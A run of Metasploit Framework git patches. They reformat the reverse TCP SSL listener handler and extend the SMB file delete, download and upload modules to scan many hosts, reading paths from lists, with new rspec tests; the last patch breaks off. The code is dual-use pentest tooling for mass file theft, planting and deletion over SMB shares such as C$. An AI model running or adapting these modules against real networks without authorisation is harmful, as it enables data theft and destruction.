self.listener_sock.close - self.listener_sock = nil - end - end + if (self.listener_sock) + self.listener_sock.close + self.listener_sock = nil + end + end protected diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 37a6b00e1a..155b411f58 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -18,107 +18,107 @@ module Handler ### module ReverseTcpSsl - include Msf::Handler::ReverseTcp + include Msf::Handler::ReverseTcp - # - # Returns the string representation of the handler type, in this case - # 'reverse_tcp_ssl'. - # - def self.handler_type - return "reverse_tcp_ssl" - end + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_ssl'. + # + def self.handler_type + return "reverse_tcp_ssl" + end - # - # Returns the connection-described general handler type, in this case - # 'reverse'. - # - def self.general_handler_type - "reverse" - end + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end - # - # Initializes the reverse TCP SSL handler and adds the certificate option. - # - def initialize(info = {}) - super - register_advanced_options( - [ - OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']) - ], Msf::Handler::ReverseTcpSsl) + # + # Initializes the reverse TCP SSL handler and adds the certificate option. + # + def initialize(info = {}) + super + register_advanced_options( + [ + OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']) + ], Msf::Handler::ReverseTcpSsl) - end + end - # - # Starts the listener but does not actually attempt - # to accept a connection. Throws socket exceptions - # if it fails to start the listener. - # - def setup_handler - if datastore['Proxies'] - raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies' - end + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies' + end - ex = false - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" + ex = false + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" - addrs = [ Rex::Socket.addr_ntoa(addr), any ] + addrs = [ Rex::Socket.addr_ntoa(addr), any ] - comm = case datastore['ReverseListenerComm'].to_s - when "local"; ::Rex::Socket::Comm::Local - when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] - else; nil - end - unless comm.is_a? ::Rex::Socket::Comm - comm = nil - end + comm = case datastore['ReverseListenerComm'].to_s + when "local"; ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] + else; nil + end + unless comm.is_a? ::Rex::Socket::Comm + comm = nil + end - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end - addrs.each { |ip| - begin + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + addrs.each { |ip| + begin - comm.extend(Rex::Socket::SslTcp) - self.listener_sock = Rex::Socket::SslTcpServer.create( - 'LocalHost' => datastore['LHOST'], - 'LocalPort' => datastore['LPORT'].to_i, - 'Comm' => comm, - 'SSLCert' => datastore['SSLCert'], - 'Context' => - { - 'Msf' => framework, - 'MsfPayload' => self, - 'MsfExploit' => assoc_exploit - }) + comm.extend(Rex::Socket::SslTcp) + self.listener_sock = Rex::Socket::SslTcpServer.create( + 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSLCert' => datastore['SSLCert'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) - ex = false + ex = false - comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) - comm_used = Rex::Socket::Comm::Local if comm_used == nil + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil - if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) - via = "via the #{comm_used.type} on session #{comm_used.sid}" - else - via = "" - end + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end - print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}") - break - rescue - ex = $! - print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") - end - } - raise ex if (ex) - end + print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + end + } + raise ex if (ex) + end end From 6a61afcfadc253109ff59fe1f4bec016cf94037c Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 29 Dec 2014 18:02:40 -0800 Subject: [PATCH 0003/2172] Update smb upload/download/delete file modules to support RHOSTS via Scanner --- modules/auxiliary/admin/smb/delete_file.rb | 17 ++++--- modules/auxiliary/admin/smb/download_file.rb | 19 +++++--- modules/auxiliary/admin/smb/upload_file.rb | 50 ++++++++++++-------- 3 files changed, 54 insertions(+), 32 deletions(-) diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 7557d237e5..7d127625d9 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient @@ -39,27 +40,31 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def peer + "#{rhost}:#{rport}" + end + def smb_delete_file - print_status("Connecting to the server...") + vprint_status("#{peer}: Connecting to the server...") connect() smb_login() - print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") + vprint_status("#{peer}: Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") simple.delete("\\#{datastore['RPATH']}") # If there's no exception raised at this point, we assume the file has been removed. - print_status("File deleted: #{datastore['RPATH']}...") + print_good("#{peer}: File deleted: #{datastore['RPATH']}...") end - def run + def run_host(_ip) begin smb_delete_file rescue Rex::Proto::SMB::Exceptions::LoginError => e - print_error("Unable to login: #{e.message}") + print_error("#{peer}: Unable to login: #{e.message}") rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("Cannot delete the file: #{e.message}") + print_error("#{peer}: Cannot delete the file: #{e.message}") end end diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 9a12f2e407..5773e69cd0 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient @@ -40,15 +41,19 @@ class Metasploit3 < Msf::Auxiliary end + def peer + "#{rhost}:#{rport}" + end + def smb_download - print_status("Connecting to the #{rhost}:#{rport}...") + vprint_status("#{peer}: Connecting...") connect() smb_login() - print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") + vprint_status("#{peer}: Mounting the remote share \\\\#{rhost}\\#{datastore['SMBSHARE']}'...") self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - print_status("Trying to download #{datastore['RPATH']}...") + vprint_status("#{peer}: Trying to download #{datastore['RPATH']}...") data = '' fd = simple.open("\\#{datastore['RPATH']}", 'ro') @@ -60,16 +65,16 @@ class Metasploit3 < Msf::Auxiliary fname = datastore['RPATH'].split("\\")[-1] path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname) - print_good("#{fname} saved as: #{path}") + print_good("#{peer}: #{fname} saved as: #{path}") end - def run + def run_host(ip) begin smb_download rescue Rex::Proto::SMB::Exceptions::LoginError => e - print_error("Unable to login: #{e.message}") + print_error("#{peer} Unable to login: #{e.message}") rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("Unable to download the file: #{e.message}") + print_error("#{peer} Unable to download the file: #{e.message}") end end diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index d8accb7813..247fd54fe2 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -11,7 +11,9 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient @@ -45,25 +47,35 @@ class Metasploit3 < Msf::Auxiliary end - def run - - data = ::File.read(datastore['LPATH'], ::File.size(datastore['LPATH'])) - print_status("Read #{data.length} bytes from #{datastore['LPATH']}...") - - print_status("Connecting to the server...") - connect() - smb_login() - - print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") - self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - - print_status("Trying to upload #{datastore['RPATH']}...") - - fd = simple.open("\\#{datastore['RPATH']}", 'rwct') - fd.write(data) - fd.close - - print_status("The file has been uploaded to #{datastore['RPATH']}...") + def peer + "#{rhost}:#{rport}" end + def setup + @data = ::File.read(datastore['LPATH'], ::File.size(datastore['LPATH'])) + vprint_status("#{peer}: Read #{@data.length} bytes from #{datastore['LPATH']}...") + end + + def run_host(_ip) + begin + vprint_status("#{peer}: Connecting to the server...") + connect() + smb_login() + + vprint_status("#{peer}: Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + + vprint_status("#{peer}: Trying to upload #{datastore['RPATH']}...") + + fd = simple.open("\\#{datastore['RPATH']}", 'rwct') + fd.write(@data) + fd.close + + print_good("#{peer}: The file has been uploaded to #{datastore['RPATH']}...") + rescue Rex::Proto::SMB::Exceptions::LoginError => e + print_error("#{peer} Unable to login: #{e.message}") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{peer} Unable to upload the file: #{e.message}") + end + end end From f8d432dfc181f4e4ce32bd62bc71f56ae6e520bc Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 30 Dec 2014 09:21:29 -0800 Subject: [PATCH 0004/2172] Support reading a list of local/remote files for smb admin modules (#3994) --- lib/msf/core/exploit/mixins.rb | 2 ++ lib/msf/core/exploit/smb/local_paths.rb | 29 ++++++++++++++++ lib/msf/core/exploit/smb/remote_paths.rb | 29 ++++++++++++++++ modules/auxiliary/admin/smb/delete_file.rb | 22 +++++++----- modules/auxiliary/admin/smb/download_file.rb | 35 +++++++++++--------- modules/auxiliary/admin/smb/upload_file.rb | 31 ++++++++--------- 6 files changed, 108 insertions(+), 40 deletions(-) create mode 100644 lib/msf/core/exploit/smb/local_paths.rb create mode 100644 lib/msf/core/exploit/smb/remote_paths.rb diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index d2b8c575c6..7e77dc6199 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -30,7 +30,9 @@ require 'msf/core/exploit/ntlm' require 'msf/core/exploit/dcerpc' require 'msf/core/exploit/smb' require 'msf/core/exploit/smb/authenticated' +require 'msf/core/exploit/smb/local_paths' require 'msf/core/exploit/smb/psexec' +require 'msf/core/exploit/smb/remote_paths' require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' diff --git a/lib/msf/core/exploit/smb/local_paths.rb b/lib/msf/core/exploit/smb/local_paths.rb new file mode 100644 index 0000000000..ed98415e61 --- /dev/null +++ b/lib/msf/core/exploit/smb/local_paths.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf + +module Exploit::Remote::SMB::LocalPaths + def initialize(info = {}) + super + register_options( + [ + OptString.new('LPATH', [false, 'The path of the local file to utilize']), + OptPath.new('FILE_LPATHS', [false, 'A file containing a list of local files to utilize']) + ], self.class) + end + + def setup + unless (datastore['FILE_LPATHS'] && !datastore['LPATH']) || (!datastore['FILE_LPATHS'] && datastore['LPATH']) + fail_with(::Msf::Module::Failure::BadConfig, 'One and only one of FILE_LPATHS or LPATH must be specified') + end + end + + def local_paths + if datastore['FILE_LPATHS'] + IO.readlines(datastore['FILE_LPATHS']).map(&:strip) + elsif datastore['LPATH'] + [datastore['LPATH']] + end + end +end +end diff --git a/lib/msf/core/exploit/smb/remote_paths.rb b/lib/msf/core/exploit/smb/remote_paths.rb new file mode 100644 index 0000000000..541aa2d9a3 --- /dev/null +++ b/lib/msf/core/exploit/smb/remote_paths.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf + +module Exploit::Remote::SMB::RemotePaths + def initialize(info = {}) + super + register_options( + [ + OptString.new('RPATH', [false, 'The name of the remote file relative to the share to operate on']), + OptPath.new('FILE_RPATHS', [false, 'A file containing a list remote files relative to the share to operate on']) + ], self.class) + end + + def setup + unless (datastore['FILE_RPATHS'] && !datastore['RPATH']) || (!datastore['FILE_RPATHS'] && datastore['RPATH']) + fail_with(::Msf::Module::Failure::BadConfig, 'One and only one of FILE_RPATHS or RPATH must be specified') + end + end + + def remote_paths + if datastore['FILE_RPATHS'] + IO.readlines(datastore['FILE_RPATHS']).map(&:strip) + elsif datastore['RPATH'] + [datastore['RPATH']] + end + end +end +end diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 7d127625d9..be5b5a910d 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::RemotePaths include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -35,8 +36,7 @@ class Metasploit3 < Msf::Auxiliary ) register_options([ - OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']), - OptString.new('RPATH', [true, 'The name of the remote file relative to the share']) + OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']) ], self.class) end @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary "#{rhost}:#{rport}" end - def smb_delete_file + def smb_delete_files vprint_status("#{peer}: Connecting to the server...") connect() smb_login() @@ -52,19 +52,23 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer}: Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - simple.delete("\\#{datastore['RPATH']}") + remote_paths.each do |remote_path| + begin + simple.delete("\\#{remote_path}") - # If there's no exception raised at this point, we assume the file has been removed. - print_good("#{peer}: File deleted: #{datastore['RPATH']}...") + # If there's no exception raised at this point, we assume the file has been removed. + print_good("#{peer}: File deleted: #{remote_path}...") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{peer}: Cannot delete #{remote_path}: #{e.message}") + end + end end def run_host(_ip) begin - smb_delete_file + smb_delete_files rescue Rex::Proto::SMB::Exceptions::LoginError => e print_error("#{peer}: Unable to login: #{e.message}") - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{peer}: Cannot delete the file: #{e.message}") end end diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 5773e69cd0..a4935dc569 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::RemotePaths include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -35,10 +36,8 @@ class Metasploit3 < Msf::Auxiliary ) register_options([ - OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']), - OptString.new('RPATH', [true, 'The name of the remote file relative to the share']) + OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']) ], self.class) - end def peer @@ -53,19 +52,25 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer}: Mounting the remote share \\\\#{rhost}\\#{datastore['SMBSHARE']}'...") self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - vprint_status("#{peer}: Trying to download #{datastore['RPATH']}...") + remote_paths.each do |remote_path| + begin + vprint_status("#{peer}: Trying to download #{remote_path}...") - data = '' - fd = simple.open("\\#{datastore['RPATH']}", 'ro') - begin - data = fd.read - ensure - fd.close + data = '' + fd = simple.open("\\#{remote_path}", 'ro') + begin + data = fd.read + ensure + fd.close + end + + fname = remote_path.split("\\")[-1] + path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname) + print_good("#{peer}: #{remote_path} saved as: #{path}") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{peer} Unable to download #{remote_path}: #{e.message}") + end end - - fname = datastore['RPATH'].split("\\")[-1] - path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname) - print_good("#{peer}: #{fname} saved as: #{path}") end def run_host(ip) @@ -73,8 +78,6 @@ class Metasploit3 < Msf::Auxiliary smb_download rescue Rex::Proto::SMB::Exceptions::LoginError => e print_error("#{peer} Unable to login: #{e.message}") - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{peer} Unable to download the file: #{e.message}") end end diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index 247fd54fe2..d703f0ec31 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -12,6 +12,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::LocalPaths + include Msf::Exploit::Remote::SMB::RemotePaths include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -40,9 +42,7 @@ class Metasploit3 < Msf::Auxiliary ) register_options([ - OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']), - OptString.new('RPATH', [true, 'The name of the remote file relative to the share']), - OptString.new('LPATH', [true, 'The path of the local file to upload']) + OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']) ], self.class) end @@ -51,11 +51,6 @@ class Metasploit3 < Msf::Auxiliary "#{rhost}:#{rport}" end - def setup - @data = ::File.read(datastore['LPATH'], ::File.size(datastore['LPATH'])) - vprint_status("#{peer}: Read #{@data.length} bytes from #{datastore['LPATH']}...") - end - def run_host(_ip) begin vprint_status("#{peer}: Connecting to the server...") @@ -65,17 +60,23 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer}: Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - vprint_status("#{peer}: Trying to upload #{datastore['RPATH']}...") + remote_path = remote_paths.first + local_paths.each do |local_path| + begin + vprint_status("#{peer}: Trying to upload #{local_path} to #{remote_path}...") - fd = simple.open("\\#{datastore['RPATH']}", 'rwct') - fd.write(@data) - fd.close + fd = simple.open("\\#{remote_path}", 'rwct') + data = ::File.read(datastore['LPATH'], ::File.size(datastore['LPATH'])) + fd.write(data) + fd.close - print_good("#{peer}: The file has been uploaded to #{datastore['RPATH']}...") + print_good("#{peer}: #{local_path} uploaded to #{remote_path}") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{peer} Unable to upload #{local_path} to #{remote_path} : #{e.message}") + end + end rescue Rex::Proto::SMB::Exceptions::LoginError => e print_error("#{peer} Unable to login: #{e.message}") - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{peer} Unable to upload the file: #{e.message}") end end end From 6634fb3583576b521714ad7f59f668a2ae6a95a7 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 30 Dec 2014 09:38:53 -0800 Subject: [PATCH 0005/2172] More consistent print_ --- modules/auxiliary/admin/smb/delete_file.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index be5b5a910d..0f159daa9f 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary simple.delete("\\#{remote_path}") # If there's no exception raised at this point, we assume the file has been removed. - print_good("#{peer}: File deleted: #{remote_path}...") + print_good("#{peer}: Deleted: #{remote_path}") rescue Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("#{peer}: Cannot delete #{remote_path}: #{e.message}") end From c11741b7c436c0aad16873ad06da9e02ef615e1b Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 30 Dec 2014 11:27:05 -0800 Subject: [PATCH 0006/2172] Add rspec for Msf::Core::Exploit::SMB::*Paths --- .../msf/core/exploit/smb/local_paths_spec.rb | 63 +++++++++++++++++++ .../msf/core/exploit/smb/remote_paths_spec.rb | 61 ++++++++++++++++++ 2 files changed, 124 insertions(+) create mode 100644 spec/lib/msf/core/exploit/smb/local_paths_spec.rb create mode 100644 spec/lib/msf/core/exploit/smb/remote_paths_spec.rb diff --git a/spec/lib/msf/core/exploit/smb/local_paths_spec.rb b/spec/lib/msf/core/exploit/smb/local_paths_spec.rb new file mode 100644 index 0000000000..1ff07b77ae --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/local_paths_spec.rb @@ -0,0 +1,63 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/data_store' +#require 'msf/core/exploit/smb' +#require 'msf/core/exploit/smb/local_paths' + +describe Msf::Exploit::Remote::SMB::LocalPaths do + subject do + mod = ::Msf::Module.new + mod.extend described_class + mod + end + + before(:all) do + prefix = "local_#{Rex::Text.rand_text_alpha(10)}" + # create a single random file to be used for LPATH + @lpath = prefix + # create file containing several random file names to be used for FILE_LPATHS + @indices = Array(0..(1 + rand(5))).map(&:to_s) + @file_lpaths = Tempfile.new(prefix) + + File.open(@file_lpaths, 'wb') do |f| + @indices.map do |i| + f.puts(i) + end + end + end + + describe '#setup' do + context 'when PATH and FILE_LPATHS are not set correctly' do + it 'should raise if both are set' do + subject.datastore['LPATH'] = @lpath + subject.datastore['FILE_LPATHS'] = @file_lpaths + expect{subject.setup}.to raise_error(RuntimeError, /bad-config/) + end + + it 'should raise if neither are set' do + expect{subject.setup}.to raise_error(RuntimeError, /bad-config/) + end + end + + end + + describe '#local_paths' do + context 'when LPATH and FILE_LPATHS are set correctly' do + it 'should return just one remote file if LPATH is set' do + subject.datastore['LPATH'] = @lpath + expect(subject.local_paths).to eql([@lpath]) + end + + it 'should return all files if FILE_LPATHS is set' do + subject.datastore['FILE_LPATHS'] = @file_lpaths + expect(subject.local_paths).to eql(@indices) + end + end + end + + after(:all) do + @file_lpaths.unlink + end +end diff --git a/spec/lib/msf/core/exploit/smb/remote_paths_spec.rb b/spec/lib/msf/core/exploit/smb/remote_paths_spec.rb new file mode 100644 index 0000000000..f880bee521 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/remote_paths_spec.rb @@ -0,0 +1,61 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/data_store' + +describe Msf::Exploit::Remote::SMB::RemotePaths do + subject do + mod = ::Msf::Module.new + mod.extend described_class + mod + end + + before(:all) do + prefix = "remote_#{Rex::Text.rand_text_alpha(10)}" + # create a single random file to be used for RPATH + @rpath = prefix + # create file containing several random file names to be used for FILE_RPATHS + @indices = Array(0..(1 + rand(5))).map(&:to_s) + @file_rpaths = Tempfile.new(prefix) + + File.open(@file_rpaths, 'wb') do |f| + @indices.map do |i| + f.puts(i) + end + end + end + + describe '#setup' do + context 'when RPATH and FILE_RPATHS are not set correctly' do + it 'should raise if both are set' do + subject.datastore['RPATH'] = @rpath + subject.datastore['FILE_RPATHS'] = @file_rpaths + expect{subject.setup}.to raise_error(RuntimeError, /bad-config/) + end + + it 'should raise if neither are set' do + expect{subject.setup}.to raise_error(RuntimeError, /bad-config/) + end + end + + end + + describe '#remote_paths' do + context 'when RPATH and FILE_RPATHS are set correctly' do + it 'should return just one remote file if rpath is set' do + subject.datastore['RPATH'] = @rpath + expect(subject.remote_paths).to eql([@rpath]) + end + + it 'should return all files if FILE_RPATHS is set' do + subject.datastore['FILE_RPATHS'] = @file_rpaths + expect(subject.remote_paths).to eql(@indices) + end + end + end + + after(:all) do + @file_rpaths.unlink + end +end From 0857d74a7dd541792dcf0dd5996d57dba3ab3814 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 30 Dec 2014 11:29:30 -0800 Subject: [PATCH 0007/2172] Clean up rspec --- lib/msf/core/exploit/smb/local_paths.rb | 2 +- lib/msf/core/exploit/smb/remote_paths.rb | 2 +- spec/lib/msf/core/exploit/smb/local_paths_spec.rb | 6 ++---- spec/lib/msf/core/exploit/smb/remote_paths_spec.rb | 4 ++-- 4 files changed, 6 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/smb/local_paths.rb b/lib/msf/core/exploit/smb/local_paths.rb index ed98415e61..a01a1bdf68 100644 --- a/lib/msf/core/exploit/smb/local_paths.rb +++ b/lib/msf/core/exploit/smb/local_paths.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- module Msf - +# Mixin for handling options related to local files in SMB modules module Exploit::Remote::SMB::LocalPaths def initialize(info = {}) super diff --git a/lib/msf/core/exploit/smb/remote_paths.rb b/lib/msf/core/exploit/smb/remote_paths.rb index 541aa2d9a3..a03104ea3e 100644 --- a/lib/msf/core/exploit/smb/remote_paths.rb +++ b/lib/msf/core/exploit/smb/remote_paths.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- module Msf - +# Mixin for handling options related to remote files in SMB modules module Exploit::Remote::SMB::RemotePaths def initialize(info = {}) super diff --git a/spec/lib/msf/core/exploit/smb/local_paths_spec.rb b/spec/lib/msf/core/exploit/smb/local_paths_spec.rb index 1ff07b77ae..6e0f16079b 100644 --- a/spec/lib/msf/core/exploit/smb/local_paths_spec.rb +++ b/spec/lib/msf/core/exploit/smb/local_paths_spec.rb @@ -3,8 +3,6 @@ require 'spec_helper' require 'msf/core' require 'msf/core/data_store' -#require 'msf/core/exploit/smb' -#require 'msf/core/exploit/smb/local_paths' describe Msf::Exploit::Remote::SMB::LocalPaths do subject do @@ -33,11 +31,11 @@ describe Msf::Exploit::Remote::SMB::LocalPaths do it 'should raise if both are set' do subject.datastore['LPATH'] = @lpath subject.datastore['FILE_LPATHS'] = @file_lpaths - expect{subject.setup}.to raise_error(RuntimeError, /bad-config/) + expect { subject.setup }.to raise_error(RuntimeError, /bad-config/) end it 'should raise if neither are set' do - expect{subject.setup}.to raise_error(RuntimeError, /bad-config/) + expect { subject.setup }.to raise_error(RuntimeError, /bad-config/) end end diff --git a/spec/lib/msf/core/exploit/smb/remote_paths_spec.rb b/spec/lib/msf/core/exploit/smb/remote_paths_spec.rb index f880bee521..6fd04bc430 100644 --- a/spec/lib/msf/core/exploit/smb/remote_paths_spec.rb +++ b/spec/lib/msf/core/exploit/smb/remote_paths_spec.rb @@ -31,11 +31,11 @@ describe Msf::Exploit::Remote::SMB::RemotePaths do it 'should raise if both are set' do subject.datastore['RPATH'] = @rpath subject.datastore['FILE_RPATHS'] = @file_rpaths - expect{subject.setup}.to raise_error(RuntimeError, /bad-config/) + expect { subject.setup }.to raise_error(RuntimeError, /bad-config/) end it 'should raise if neither are set' do - expect{subject.setup}.to raise_error(RuntimeError, /bad-config/) + expect { subject.setup }.to raise_error(RuntimeError, /bad-config/) end end From f537f91943e5687d8b68f06a647236556b4f851c Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 16:59:17 -0800 Subject: [PATCH 0008/2172] Bump scanner THREADS to 10 by default --- lib/msf/core/auxiliary/scanner.rb | 2 +- lib/msf/core/auxiliary/udp_scanner.rb | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index ac4991cbf0..bca4a02481 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -18,7 +18,7 @@ def 